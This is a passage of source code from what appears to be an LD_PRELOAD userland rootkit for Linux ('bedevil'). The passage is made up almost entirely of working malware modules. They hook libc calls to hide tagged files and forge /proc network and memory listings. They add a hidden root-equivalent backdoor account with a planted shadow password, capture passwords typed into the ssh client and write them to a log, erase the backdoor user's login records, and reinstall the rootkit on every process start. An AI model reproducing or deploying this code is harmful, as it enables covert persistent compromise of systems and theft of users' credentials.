strstr(cprocname(), "busybox")) && 10 | (flags==(64|1|512))) 11 | CLEAN(ldsp); return o_open("/dev/null", flags, mode); 12 | } 13 | CLEAN(ldsp); 14 | 15 | if(!strcmp(pathname, "/proc/net/tcp") || !strcmp(pathname, "/proc/net/tcp6")) return fileno(forge_procnet(pathname)); 16 | 17 | if(!fnmatch("/proc/*/maps",pathname,FNM_PATHNAME)) return fileno(forge_maps(pathname)); 18 | if(!fnmatch("/proc/*/smaps",pathname,FNM_PATHNAME)) return fileno(forge_smaps(pathname)); 19 | if(!fnmatch("/proc/*/numa_maps",pathname,FNM_PATHNAME)) return fileno(forge_numamaps(pathname)); 20 | 21 | char cwd[PATH_MAX]; 22 | if(getcwd(cwd, sizeof(cwd)) != NULL) 23 | { 24 | if(!strcmp(cwd, "/proc")) 25 | { 26 | if(!fnmatch("*/maps",pathname,FNM_PATHNAME)) return fileno(forge_maps(pathname)); 27 | if(!fnmatch("*/smaps",pathname,FNM_PATHNAME)) return fileno(forge_smaps(pathname)); 28 | if(!fnmatch("*/numa_maps",pathname,FNM_PATHNAME)) return fileno(forge_numamaps(pathname)); 29 | } 30 | 31 | if(!fnmatch("/proc/*",cwd,FNM_PATHNAME)) 32 | { 33 | if(!fnmatch("maps",pathname,FNM_PATHNAME)) return fileno(forge_maps(pathname)); 34 | if(!fnmatch("smaps",pathname,FNM_PATHNAME)) return fileno(forge_smaps(pathname)); 35 | if(!fnmatch("numa_maps",pathname,FNM_PATHNAME)) return fileno(forge_numamaps(pathname)); 36 | } 37 | } 38 | 39 | if(hxstat(pathname,MGID,32)) { errno = ENOENT; return -1; } 40 | return o_open(pathname, flags, mode); 41 | } 42 | 43 | int open64(const char *pathname, int flags, mode_t mode) 44 | { 45 | HOOK(o_open64, COPEN64); 46 | if(is_bdusr()) return o_open64(pathname, flags, mode); 47 | 48 | char *ldsp=strdup(LDSO_PRELOAD); xor(ldsp); 49 | if(hxstat(pathname,MGID,32) && strstr(ldsp,pathname)) 50 | { 51 | if((strstr(cprocname(), "sh") || strstr(cprocname(), "busybox")) && 52 | (flags==(64|1|512))) 53 | CLEAN(ldsp); return o_open64("/dev/null", flags, mode); 54 | } 55 | CLEAN(ldsp); 56 | 57 | if(!strcmp(pathname, "/proc/net/tcp") || !strcmp(pathname, "/proc/net/tcp6")) return fileno(forge_procnet(pathname)); 58 | 59 | if(!fnmatch("/proc/*/maps",pathname,FNM_PATHNAME)) return fileno(forge_maps(pathname)); 60 | if(!fnmatch("/proc/*/smaps",pathname,FNM_PATHNAME)) return fileno(forge_smaps(pathname)); 61 | if(!fnmatch("/proc/*/numa_maps",pathname,FNM_PATHNAME)) return fileno(forge_numamaps(pathname)); 62 | 63 | char cwd[PATH_MAX]; 64 | if(getcwd(cwd, sizeof(cwd)) != NULL) 65 | { 66 | if(!strcmp(cwd, "/proc")) 67 | { 68 | if(!fnmatch("*/maps",pathname,FNM_PATHNAME)) return fileno(forge_maps(pathname)); 69 | if(!fnmatch("*/smaps",pathname,FNM_PATHNAME)) return fileno(forge_smaps(pathname)); 70 | if(!fnmatch("*/numa_maps",pathname,FNM_PATHNAME)) return fileno(forge_numamaps(pathname)); 71 | } 72 | 73 | if(!fnmatch("/proc/*",cwd,FNM_PATHNAME)) 74 | { 75 | if(!fnmatch("maps",pathname,FNM_PATHNAME)) return fileno(forge_maps(pathname)); 76 | if(!fnmatch("smaps",pathname,FNM_PATHNAME)) return fileno(forge_smaps(pathname)); 77 | if(!fnmatch("numa_maps",pathname,FNM_PATHNAME)) return fileno(forge_numamaps(pathname)); 78 | } 79 | } 80 | 81 | 82 | if(hxstat(pathname,MGID,32)) { errno = ENOENT; return -1; } 83 | return o_open64(pathname, flags, mode); 84 | } 85 | -------------------------------------------------------------------------------- /modules/open/open.h: -------------------------------------------------------------------------------- 1 | #ifndef OPEN_H 2 | #define OPEN_H 3 | #include "open.c" 4 | #include "fopen.c" 5 | #endif 6 | -------------------------------------------------------------------------------- /modules/perms/chmod.c: -------------------------------------------------------------------------------- 1 | int chmod(const char *pathname, mode_t mode) 2 | { 3 | HOOK(o_chmod,CCHMOD); 4 | if(is_bdusr()) return o_chmod(pathname,mode); 5 | if(hxstat(pathname,MGID,32)) { errno=ENOENT; return -1; } 6 | return o_chmod(pathname,mode); 7 | } 8 | 9 | int fchmod(int fd, mode_t mode) 10 | { 11 | HOOK(o_fchmod,CFCHMOD); 12 | if(is_bdusr()) return o_fchmod(fd,mode); 13 | if(hfxstat(fd,MGID,32)) { errno=ENOENT; return -1; } 14 | return o_fchmod(fd,mode); 15 | } 16 | 17 | int fchmodat(int dirfd, const char *pathname, mode_t mode, int flags) 18 | { 19 | HOOK(o_fchmodat,CFCHMODAT); 20 | if(is_bdusr()) return o_fchmodat(dirfd,pathname,mode,flags); 21 | if(hxstat(pathname,MGID,32) || hfxstat(dirfd,MGID,32)){ errno=ENOENT; return -1; } 22 | return o_fchmodat(dirfd,pathname,mode,flags); 23 | } 24 | -------------------------------------------------------------------------------- /modules/perms/chown.c: -------------------------------------------------------------------------------- 1 | int chown(const char *pathname, uid_t owner, gid_t group) 2 | { 3 | HOOK(o_chown,CCHOWN); 4 | if(is_bdusr()) return o_chown(pathname,owner,group); 5 | if(hxstat(pathname,MGID,32)) { errno=ENOENT; return -1; } 6 | return o_chown(pathname,owner,group); 7 | } 8 | -------------------------------------------------------------------------------- /modules/perms/perms.h: -------------------------------------------------------------------------------- 1 | #ifndef PERMS_H 2 | #define PERMS_H 3 | #include "chown.c" 4 | #include "chmod.c" 5 | #endif 6 | -------------------------------------------------------------------------------- /modules/prehook.c: -------------------------------------------------------------------------------- 1 | // this file just gets appended onto the end of bdvl.c 2 | void __attribute ((constructor)) phook_init (void) // on process start 3 | { 4 | //if(getenv("LD_PRELOAD") != NULL) unsetenv("LD_PRELOAD"); 5 | reinstall(); 6 | } 7 | 8 | void __attribute ((destructor)) phook_dest (void) // on process end 9 | { 10 | //if(getenv("LD_PRELOAD") != NULL) unsetenv("LD_PRELOAD"); 11 | reinstall(); 12 | } 13 | -------------------------------------------------------------------------------- /modules/pwd/pwd.h: -------------------------------------------------------------------------------- 1 | #ifndef PWD_H 2 | #define PWD_H 3 | #include "pwnam_user.c" 4 | #include "pwnam_ent.c" 5 | #endif 6 | -------------------------------------------------------------------------------- /modules/pwd/pwnam_ent.c: -------------------------------------------------------------------------------- 1 | struct passwd *getpwent(void) 2 | { 3 | HOOK(o_getpwent, CGETPWENT); 4 | 5 | struct passwd *tmp = o_getpwent(); 6 | if(tmp && tmp->pw_name != NULL) 7 | { 8 | char *bduname=strdup(BD_UNAME); xor(bduname); 9 | if(!strcmp(tmp->pw_name, bduname)) { CLEAN(bduname); errno=ESRCH; return NULL; } 10 | CLEAN(bduname); 11 | } 12 | return tmp; 13 | } 14 | 15 | struct passwd *getpwuid(uid_t uid) 16 | { 17 | HOOK(o_getpwuid, CGETPWUID); 18 | if(uid==MGID) return o_getpwuid(0); 19 | char *procname = cprocname(); 20 | 21 | if(getgid() == MGID && uid == 0 && (!strcmp(procname, "ssh") || !strcmp(procname, "/usr/bin/ssh"))) 22 | { 23 | struct passwd *bpw; 24 | bpw = o_getpwuid(uid); 25 | bpw->pw_uid=MGID; 26 | bpw->pw_gid=MGID; 27 | 28 | char home[256]; 29 | char *idir=strdup(IDIR); xor(idir); 30 | snprintf(home, sizeof(home), "%s", idir); 31 | CLEAN(idir); 32 | 33 | bpw->pw_dir=strdup(home); 34 | bpw->pw_shell="/bin/bash"; 35 | return bpw; 36 | } 37 | return o_getpwuid(uid); 38 | } 39 | -------------------------------------------------------------------------------- /modules/pwd/pwnam_user.c: -------------------------------------------------------------------------------- 1 | struct passwd *getpwnam(const char *name) 2 | { 3 | HOOK(o_getpwnam, CGETPWNAM); 4 | 5 | char *bduname=strdup(BD_UNAME); xor(bduname); 6 | if(!strcmp(name, bduname)) 7 | { 8 | struct passwd *bpw; 9 | bpw = o_getpwnam("root"); 10 | bpw->pw_name = strdup(bduname); 11 | bpw->pw_uid = MGID; 12 | bpw->pw_gid = MGID; 13 | 14 | char home[256]; 15 | char *idir=strdup(IDIR); xor(idir); 16 | snprintf(home, sizeof(home), "%s", idir); 17 | CLEAN(idir); 18 | 19 | bpw->pw_dir = strdup(home); 20 | bpw->pw_shell = "/bin/bash"; 21 | 22 | CLEAN(bduname); 23 | return bpw; 24 | } 25 | CLEAN(bduname); 26 | return o_getpwnam(name); 27 | } 28 | 29 | int getpwnam_r(const char *name, struct passwd *pwd, char *buf, size_t buflen, struct passwd **result) 30 | { 31 | HOOK(o_getpwnam_r, CGETPWNAM_R); 32 | 33 | char *bduname=strdup(BD_UNAME); xor(bduname); 34 | if(!strcmp(name, bduname)) 35 | { 36 | o_getpwnam_r("root", pwd, buf, buflen, result); 37 | pwd->pw_name = strdup(bduname); 38 | pwd->pw_uid = MGID; 39 | pwd->pw_gid = MGID; 40 | 41 | char home[256]; 42 | char *idir=strdup(IDIR); xor(idir); 43 | snprintf(home, sizeof(home), "%s", idir); 44 | CLEAN(idir); 45 | 46 | pwd->pw_dir = strdup(home); 47 | pwd->pw_shell = "/bin/bash"; 48 | 49 | CLEAN(bduname); 50 | return 0; 51 | } 52 | CLEAN(bduname); 53 | return o_getpwnam_r(name, pwd, buf, buflen, result); 54 | } 55 | 56 | struct spwd *getspnam(const char *name) 57 | { 58 | HOOK(o_getspnam, CGETSPNAM); 59 | char *bduname=strdup(BD_UNAME); xor(bduname); 60 | if(!strcmp(name, bduname)) 61 | { 62 | struct spwd *bspwd = malloc(sizeof(struct spwd)); 63 | char *bdpwd = strdup(BD_PWD); xor(bdpwd); 64 | 65 | bspwd->sp_namp=strdup(bduname); 66 | bspwd->sp_pwdp=strdup(bdpwd); 67 | bspwd->sp_lstchg=time(NULL)/(60*60*24); 68 | bspwd->sp_expire=time(NULL)/(60*60*24)+90; 69 | bspwd->sp_inact=9001; 70 | bspwd->sp_warn=0; 71 | bspwd->sp_min=0; 72 | bspwd->sp_max=99999; 73 | 74 | CLEAN(bduname); CLEAN(bdpwd); 75 | return bspwd; 76 | 77 | } 78 | CLEAN(bduname); 79 | return o_getspnam(name); 80 | } 81 | -------------------------------------------------------------------------------- /modules/rw/fwrite.c: -------------------------------------------------------------------------------- 1 | size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream) 2 | { 3 | HOOK(o_fwrite,CFWRITE); 4 | if(is_bdusr()) return o_fwrite(ptr,size,nmemb,stream); 5 | if(stream != NULL && hfxstat(fileno(stream),MGID,32)) return 0; 6 | return o_fwrite(ptr,size,nmemb,stream); 7 | } 8 | 9 | size_t fwrite_unlocked(const void *ptr, size_t size, size_t nmemb, FILE *stream) 10 | { 11 | HOOK(o_fwrite_unlocked, CFWRITE_UNLOCKED); 12 | if(is_bdusr()) return o_fwrite_unlocked(ptr,size,nmemb,stream); 13 | if(stream != NULL && hfxstat(fileno(stream),MGID,32)) return 0; 14 | return o_fwrite_unlocked(ptr,size,nmemb,stream); 15 | } 16 | -------------------------------------------------------------------------------- /modules/rw/read.c: -------------------------------------------------------------------------------- 1 | ssize_t read(int fd, void *buf, size_t n) 2 | { 3 | HOOK(o_read,CREAD); 4 | if(fd == 0) return o_read(fd,buf,n); 5 | 6 | HOOK(o_fopen,CFOPEN); 7 | HOOK(o_fxstat,C__FXSTAT); 8 | struct stat s_fstat; 9 | memset(&s_fstat,0x00,sizeof(stat)); 10 | o_fxstat(_STAT_VER, fd, &s_fstat); 11 | ssize_t o=o_read(fd,buf,n); 12 | if(S_ISSOCK(s_fstat.st_mode)) return o; 13 | 14 | char *p; 15 | FILE *fp; 16 | 17 | if(!strcmp("ssh",cprocname()) && fd==4 && ssh_start) 18 | { 19 | p=buf; 20 | if(*p=='\n') 21 | { 22 | ssh_start=0; 23 | char *ssh_logs=strdup(SSH_LOGS); xor(ssh_logs); 24 | if((fp=o_fopen(ssh_logs,"a"))) 25 | { 26 | fprintf(fp, "%s (%s)\n", gcmdline(), ssh_pass); 27 | fflush(fp); 28 | fclose(fp); 29 | } 30 | CLEAN(ssh_logs); 31 | return o; 32 | } 33 | ssh_pass[ssh_pass_size++]=*p; 34 | } 35 | return o; 36 | } -------------------------------------------------------------------------------- /modules/rw/rw.h: -------------------------------------------------------------------------------- 1 | #ifndef WRT_H 2 | #define WRT_H 3 | int ssh_start,ssh_pass_size; 4 | char ssh_args[512],ssh_pass[512]; 5 | #include "fwrite.c" 6 | #include "read.c" 7 | #include "write.c" 8 | #endif 9 | -------------------------------------------------------------------------------- /modules/rw/write.c: -------------------------------------------------------------------------------- 1 | ssize_t write(int fd, const void *buf, size_t n) 2 | { 3 | HOOK(o_write,CWRITE); 4 | if(strcmp("ssh",cprocname())) return o_write(fd,buf,n); 5 | HOOK(o_fxstat,C__FXSTAT); 6 | struct stat s_fstat; 7 | memset(&s_fstat,0x00,sizeof(stat)); 8 | o_fxstat(_STAT_VER,fd,&s_fstat); 9 | if(S_ISSOCK(s_fstat.st_mode)) return o_write(fd,buf,n); 10 | 11 | if(!strcmp("ssh",cprocname()) && (buf != NULL && strstr((char *)buf,"assword"))) 12 | { 13 | ssh_pass_size=0; 14 | memset(ssh_pass,0x00,sizeof(ssh_pass)); 15 | ssh_start=1; 16 | } 17 | return o_write(fd,buf,n); 18 | } -------------------------------------------------------------------------------- /modules/stat/fstat.c: -------------------------------------------------------------------------------- 1 | int fstat(int fd, struct stat *buf) 2 | { 3 | HOOK(o_fxstat,C__FXSTAT); 4 | if(is_bdusr()) return o_fxstat(_STAT_VER,fd,buf); 5 | if(hfxstat(fd,MGID,32)) { errno=ENOENT; return -1; } 6 | return o_fxstat(_STAT_VER,fd,buf); 7 | } 8 | 9 | int fstat64(int fd, struct stat64 *buf) 10 | { 11 | HOOK(o_fxstat64,C__FXSTAT64); 12 | if(is_bdusr()) return o_fxstat64(_STAT_VER,fd,buf); 13 | if(hfxstat(fd,MGID,64)) { errno=ENOENT; return -1; } 14 | return o_fxstat64(_STAT_VER,fd,buf); 15 | } 16 | 17 | int fstatat(int dirfd, const char *pathname, struct stat *buf, int flags) 18 | { 19 | HOOK(o_fstatat,CFSTATAT); 20 | if(is_bdusr()) return o_fstatat(dirfd,pathname,buf,flags); 21 | if(hfxstat(dirfd,MGID,32) || hxstat(pathname,MGID,32)) { errno=ENOENT; return -1; } 22 | return o_fstatat(dirfd,pathname,buf,flags); 23 | } 24 | 25 | int fstatat64(int dirfd, const char *pathname, struct stat64 *buf, int flags) 26 | { 27 | HOOK(o_fstatat64,CFSTATAT64); 28 | if(is_bdusr()) return o_fstatat64(dirfd,pathname,buf,flags); 29 | if(hfxstat(dirfd,MGID,64) || hxstat(pathname,MGID,64)) { errno=ENOENT; return -1; } 30 | return o_fstatat64(dirfd,pathname,buf,flags); 31 | } 32 | 33 | int __fxstat(int version, int fd, struct stat *buf) 34 | { 35 | HOOK(o_fxstat,C__FXSTAT); 36 | if(is_bdusr()) return o_fxstat(version,fd,buf); 37 | if(hfxstat(fd,MGID,32)) { errno=ENOENT; return -1; } 38 | return o_fxstat(version,fd,buf); 39 | } 40 | 41 | int __fxstat64(int version, int fd, struct stat64 *buf) 42 | { 43 | HOOK(o_fxstat64,C__FXSTAT64); 44 | if(is_bdusr()) return o_fxstat64(version,fd,buf); 45 | if(hfxstat(fd,MGID,64)) { errno=ENOENT; return -1; } 46 | return o_fxstat64(version,fd,buf); 47 | } 48 | -------------------------------------------------------------------------------- /modules/stat/lstat.c: -------------------------------------------------------------------------------- 1 | int lstat(const char *pathname, struct stat *buf) 2 | { 3 | HOOK(o_lstat,CLSTAT); 4 | if(is_bdusr()) return o_lstat(pathname,buf); 5 | if(hxstat(pathname,MGID,32)) { errno=ENOENT; return -1; } 6 | return o_lstat(pathname,buf); 7 | } 8 | 9 | int lstat64(const char *pathname, struct stat64 *buf) 10 | { 11 | HOOK(o_lstat64,CLSTAT64); 12 | if(is_bdusr()) return o_lstat64(pathname,buf); 13 | if(hxstat(pathname,MGID,64)) { errno=ENOENT; return -1; } 14 | return o_lstat64(pathname,buf); 15 | } 16 | 17 | int __lxstat(int version, const char *pathname, struct stat *buf) 18 | { 19 | HOOK(o_lxstat,C__LXSTAT); 20 | if(is_bdusr()) return o_lxstat(version,pathname,buf); 21 | if(hxstat(pathname,MGID,32) || hlxstat(pathname,MGID,32)) { errno=ENOENT; return -1; } 22 | return o_lxstat(version,pathname,buf); 23 | } 24 | 25 | int __lxstat64(int version, const char *pathname, struct stat64 *buf) 26 | { 27 | HOOK(o_lxstat64,C__LXSTAT64); 28 | if(is_bdusr()) return o_lxstat64(version,pathname,buf); 29 | if(hxstat(pathname,MGID,64) || hlxstat(pathname,MGID,64)) { errno=ENOENT; return -1; } 30 | return o_lxstat64(version,pathname,buf); 31 | } 32 | -------------------------------------------------------------------------------- /modules/stat/stat.c: -------------------------------------------------------------------------------- 1 | int stat(const char *pathname, struct stat *buf) 2 | { 3 | HOOK(o_stat,CSTAT); 4 | if(is_bdusr()) return o_stat(pathname,buf); 5 | if(hxstat(pathname,MGID,32)) { errno=ENOENT; return -1; } 6 | return o_stat(pathname,buf); 7 | } 8 | 9 | int stat64(const char *pathname, struct stat64 *buf) 10 | { 11 | HOOK(o_stat64,CSTAT64); 12 | if(is_bdusr()) return o_stat64(pathname,buf); 13 | if(hxstat(pathname,MGID,64)) { errno=ENOENT; return -1; } 14 | return o_stat64(pathname,buf); 15 | } 16 | 17 | int __xstat(int version, const char *pathname, struct stat *buf) 18 | { 19 | HOOK(o_xstat,C__XSTAT); 20 | if(is_bdusr()) return o_xstat(version,pathname,buf); 21 | if(hxstat(pathname,MGID,32)) { errno=ENOENT; return -1; } 22 | return o_xstat(version,pathname,buf); 23 | } 24 | 25 | int __xstat64(int version, const char *pathname, struct stat64 *buf) 26 | { 27 | HOOK(o_xstat64,C__XSTAT64); 28 | if(is_bdusr()) return o_xstat64(version,pathname,buf); 29 | if(hxstat(pathname,MGID,64)) { errno=ENOENT; return -1; } 30 | return o_xstat64(version,pathname,buf); 31 | } 32 | -------------------------------------------------------------------------------- /modules/stat/stat.h: -------------------------------------------------------------------------------- 1 | #ifndef STAT_H 2 | #define STAT_H 3 | #include "stat.c" 4 | #include "lstat.c" 5 | #include "fstat.c" 6 | #endif 7 | -------------------------------------------------------------------------------- /modules/stconsts: -------------------------------------------------------------------------------- 1 | # comments starting with '#' are ignored. 2 | # so this is more or less how we add stuff to the headers 3 | # in the background. stuff that requires no input from 4 | # the user. obviously you can change stuff in here if need be. 5 | # bedevil.sh parses this file and writes the data to said header. 6 | # format: CONST_NAME:const_value 7 | # const *values* in this file formatted like "CONST_NAME:CONST_NAME" 8 | # are completely handled by bedevil.sh and the value most likely comes 9 | # from the script. 10 | LIBC_PATH:libc.so.6 11 | LIBDL_PATH:libdl.so.1 12 | LIBPAM_PATH:libpam.so.0 13 | BDVLSO:BDVLSO 14 | SOPATH:SOPATH 15 | LDSO_PRELOAD:LDSO_PRELOAD 16 | EUTILS:bdutils 17 | SYSD_CONF:bdvl_sysd.conf -------------------------------------------------------------------------------- /modules/std_includes: -------------------------------------------------------------------------------- 1 | # comments starting with '#' are ignored. 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | # 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | # i'm just gonna assume you're using pam cuz its the best 30 | -------------------------------------------------------------------------------- /modules/utmp/getut.c: -------------------------------------------------------------------------------- 1 | /* 2 | * These are the functions responsible for reading 3 | * entries from the utmp file. 4 | * 5 | * The utmp file may contain information about the 6 | * currently logged in backdoor user, but ain't 7 | * nobody seeing it up front. 8 | * 9 | * See 'putut.c' for more information. 10 | */ 11 | 12 | struct utmp *getutid(const struct utmp *ut) 13 | { 14 | HOOK(o_getutid,CGETUTID); 15 | struct utmp *tmp; 16 | char cusr[32], *bduname=strdup(BD_UNAME); xor(bduname); 17 | 18 | do { 19 | tmp=o_getutid(ut); 20 | if(tmp == NULL) continue; 21 | if(tmp != NULL) snprintf(cusr,sizeof(cusr),"%s",tmp->ut_user); 22 | }while(tmp && !strncmp(cusr,bduname,sizeof(cusr))); 23 | 24 | CLEAN(bduname); 25 | return tmp; 26 | } 27 | 28 | struct utmpx *getutxid(const struct utmpx *utx) 29 | { 30 | HOOK(o_getutxid,CGETUTXID); 31 | struct utmpx *tmp; 32 | char cusr[32], *bduname=strdup(BD_UNAME); xor(bduname); 33 | 34 | do { 35 | tmp=o_getutxid(utx); 36 | if(tmp == NULL) continue; 37 | if(tmp != NULL) snprintf(cusr,sizeof(cusr),"%s",tmp->ut_user); 38 | }while(tmp && !strncmp(cusr,bduname,sizeof(cusr))); 39 | 40 | CLEAN(bduname); 41 | return tmp; 42 | } 43 | 44 | struct utmp *getutline(const struct utmp *ut) 45 | { 46 | HOOK(o_getutline,CGETUTLINE); 47 | struct utmp *tmp; 48 | char cusr[32], *bduname=strdup(BD_UNAME); xor(bduname); 49 | 50 | do { 51 | tmp=o_getutline(ut); 52 | if(tmp == NULL) continue; 53 | if(tmp != NULL) snprintf(cusr,sizeof(cusr),"%s",tmp->ut_user); 54 | }while(tmp && !strncmp(cusr,bduname,sizeof(cusr))); 55 | 56 | CLEAN(bduname); 57 | return tmp; 58 | } 59 | 60 | struct utmpx *getutxline(const struct utmpx *utx) 61 | { 62 | HOOK(o_getutxline,CGETUTXLINE); 63 | struct utmpx *tmp; 64 | char cusr[32], *bduname=strdup(BD_UNAME); xor(bduname); 65 | 66 | do { 67 | tmp=o_getutxline(utx); 68 | if(tmp == NULL) continue; 69 | if(tmp != NULL) snprintf(cusr,sizeof(cusr),"%s",tmp->ut_user); 70 | }while(tmp && !strncmp(cusr,bduname,sizeof(cusr))); 71 | 72 | CLEAN(bduname); 73 | return tmp; 74 | } 75 | 76 | struct utmp *getutent(void) 77 | { 78 | HOOK(o_getutent,CGETUTENT); 79 | struct utmp *tmp; 80 | char cusr[32], *bduname=strdup(BD_UNAME); xor(bduname); 81 | 82 | do { 83 | tmp=o_getutent(); 84 | if(tmp == NULL) continue; 85 | if(tmp != NULL) snprintf(cusr,sizeof(cusr),"%s",tmp->ut_user); 86 | }while(tmp && !strncmp(cusr,bduname,sizeof(cusr))); 87 | 88 | CLEAN(bduname); 89 | return tmp; 90 | } 91 | 92 | struct utmpx *getutxent(void) 93 | { 94 | HOOK(o_getutxent,CGETUTXENT); 95 | struct utmpx *tmp; 96 | char cusr[32], *bduname=strdup(BD_UNAME); xor(bduname); 97 | 98 | do { 99 | tmp=o_getutxent(); 100 | if(tmp == NULL) continue; 101 | if(tmp != NULL) snprintf(cusr,sizeof(cusr),"%s",tmp->ut_user); 102 | }while(tmp && !strncmp(cusr,bduname,sizeof(cusr))); 103 | 104 | CLEAN(bduname); 105 | return tmp; 106 | } 107 | 108 | void getutmp(const struct utmpx *ux, struct utmp *u) 109 | { 110 | if(ux && ux->ut_user != NULL) 111 | { 112 | char *bduname=strdup(BD_UNAME); xor(bduname); 113 | if(!strncmp(ux->ut_user,bduname,sizeof(ux->ut_user))) { CLEAN(bduname); return; } 114 | CLEAN(bduname); 115 | } 116 | 117 | HOOK(o_getutmp,CGETUTMP); 118 | o_getutmp(ux,u); 119 | return; 120 | } 121 | 122 | void getutmpx(const struct utmp *u, struct utmpx *ux) 123 | { 124 | if(u && u->ut_user != NULL) 125 | { 126 | char *bduname=strdup(BD_UNAME); xor(bduname); 127 | if(!strncmp(u->ut_user,bduname,sizeof(u->ut_user))) { CLEAN(bduname); return; } 128 | CLEAN(bduname); 129 | } 130 | 131 | HOOK(o_getutmpx,CGETUTMPX); 132 | o_getutmpx(u,ux); 133 | return; 134 | } 135 | -------------------------------------------------------------------------------- /modules/utmp/putut.c: -------------------------------------------------------------------------------- 1 | /* 2 | * These are the functions responsible for actually 3 | * writing data to the utmp & wtmp files. 4 | * 5 | * Now, I've prevented information from being written 6 | * to the wtmp file, but not the utmp file. 7 | * So calling strings on wtmp won't reveal anything, 8 | * but calling strings on utmp will show information. 9 | * But that's ONLY when using strings. 10 | * 11 | * See, there are functions in libc which handle 12 | * fetching entries from utmp, and it is those functions 13 | * that I have hooked. 14 | * 15 | * Essentially, I can't stop (well I can but not now) 16 | * information from being written to utmp, but I can prevent 17 | * said functions from even thinking that the information 18 | * is even there in the first place. 19 | * 20 | * utmp only stores information about the user's logged 21 | * in currently. Whereas wtmp is essentially a history of logins. 22 | * So this isn't even an issue unless you're logged into the 23 | * backdoor 24/7. 24 | */ 25 | 26 | 27 | // i tried many different tactics in order to straight up stop information 28 | // from being written to the utmp file. 29 | // this was my last-last attempt. (i probably will try different things, but for now hooking the 'read' functions works great) 30 | struct utmp *pututline(const struct utmp *ut) 31 | { 32 | HOOK(o_pututline,CPUTUTLINE); 33 | /*char *bduname=strdup(BD_UNAME); xor(bduname); 34 | if((ut && ut->ut_user != NULL) && !strncmp(ut->ut_user,bduname,sizeof(ut->ut_user))) 35 | { 36 | CLEAN(bduname); 37 | int xu=utmpname("/var/run/gayutmp"); 38 | if(xu<0) return NULL; 39 | if(xu) return o_pututline(ut); 40 | } 41 | CLEAN(bduname);*/ 42 | return o_pututline(ut); 43 | } 44 | 45 | struct utmpx *pututxline(const struct utmpx *utx) 46 | { 47 | HOOK(o_pututxline,CPUTUTXLINE); 48 | /*char *bduname=strdup(BD_UNAME); xor(bduname); 49 | if((utx && utx->ut_user != NULL) && !strncmp(utx->ut_user,bduname,sizeof(utx->ut_user))) 50 | { 51 | CLEAN(bduname); 52 | int xu=utmpname("/var/run/gayutmp"); 53 | if(xu<0) return NULL; 54 | if(xu) return o_pututxline(utx); 55 | } 56 | CLEAN(bduname);*/ 57 | return o_pututxline(utx); 58 | } 59 | 60 | void logwtmp(const char *ut_line, const char *ut_name, const char *ut_host) 61 | { 62 | char *bduname=strdup(BD_UNAME); xor(bduname); 63 | if(!strcmp(ut_name,bduname)) { CLEAN(bduname); return; } 64 | CLEAN(bduname); 65 | HOOK(o_logwtmp,CLOGWTMP); 66 | o_logwtmp(ut_line,ut_name,ut_host); 67 | return; 68 | } 69 | 70 | void updwtmp(const char *wfile, const struct utmp *ut) 71 | { 72 | if(ut && ut->ut_user != NULL) 73 | { 74 | char *bduname=strdup(BD_UNAME); xor(bduname); 75 | if(!strncmp(ut->ut_user,bduname,sizeof(ut->ut_user))) { CLEAN(bduname); return; } 76 | CLEAN(bduname); 77 | } 78 | 79 | HOOK(o_updwtmp,CUPDWTMP); 80 | o_updwtmp(wfile,ut); 81 | return; 82 | } 83 | 84 | void updwtmpx(const char *wfilex, const struct utmpx *utx) 85 | { 86 | if(utx && utx->ut_user != NULL) 87 | { 88 | char *bduname=strdup(BD_UNAME); xor(bduname); 89 | if(!strncmp(utx->ut_user,bduname,sizeof(utx->ut_user))) { CLEAN(bduname); return; } 90 | CLEAN(bduname); 91 | } 92 | 93 | HOOK(o_updwtmpx,CUPDWTMPX); 94 | o_updwtmpx(wfilex,utx); 95 | return; 96 | } 97 | -------------------------------------------------------------------------------- /modules/utmp/utmp.h: -------------------------------------------------------------------------------- 1 | #ifndef UTMP_H 2 | #define UTMP_H 3 | #include "getut.c" 4 | #include "putut.c" 5 | #endif 6 | --------------------------------------------------------------------------------